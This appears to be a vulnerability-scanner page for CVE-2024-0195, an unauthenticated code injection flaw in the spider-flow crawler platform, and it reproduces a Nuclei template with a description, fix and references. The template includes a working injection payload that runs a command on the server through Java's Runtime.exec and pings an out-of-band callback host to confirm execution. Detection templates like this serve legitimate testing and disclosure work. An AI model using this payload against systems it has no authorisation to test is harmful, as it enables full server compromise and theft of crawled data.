CVE-2024-0195· ssssssss / spider-flow· CWE-94
SpiderFlow Crawler Platform - Remote Code Execution
A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
Impact
Unauthenticated attackers can inject and execute arbitrary code remotely on the Spider-Flow server, leading to complete system compromise and potential access to all crawled data.
Fix
Upgrade to Spider-Flow version 0.5.0 or later that addresses this code injection vulnerability.
How to confirm it
Send: GET /
Positive when: contains "SPIDER_FLOW_VERSION"
Send: POST /function/save
Positive when: contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2024-0195 -u <target>
The full check
id: CVE-2024-0195
info:
name: SpiderFlow Crawler Platform - Remote Code Execution
author: pussycat0x
severity: critical
description: |
A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
impact: |
Unauthenticated attackers can inject and execute arbitrary code remotely on the Spider-Flow server, leading to complete system compromise and potential access to all crawled data.
remediation: |
Upgrade to Spider-Flow version 0.5.0 or later that addresses this code injection vulnerability.
reference:
- https://github.com/Shelter1234/VulneraLab/blob/main/SpiderFlow/CVE-2024-0195/README.zh-cn.md
- https://vuldb.com/?id.249510
- https://nvd.nist.gov/vuln/detail/CVE-2024-0195
- https://vuldb.com/?ctiid.249510
- https://github.com/Tropinene/Yscanner
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-0195
cwe-id: CWE-94
epss-score: 0.19253
epss-percentile: 0.97357
cpe: cpe:2.3:a:ssssssss:spider-flow:0.4.3:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: ssssssss
product: "spider-flow"
fofa-query:
- "app=\"SpiderFlow\""
- app="spiderflow"
tags: cve,cve2024,spiderflow,crawler,unauth,rce,ssssssss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'SPIDER_FLOW_VERSION'
- raw:
- |
POST /function/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"References
- https://github.com/Shelter1234/VulneraLab/blob/main/SpiderFlow/CVE-2024-0195/README.zh-cn.md
- https://vuldb.com/?id.249510
- https://nvd.nist.gov/vuln/detail/CVE-2024-0195
- https://vuldb.com/?ctiid.249510
- https://github.com/Tropinene/Yscanner
Use this check only on systems you are authorised to test. Where the data comes from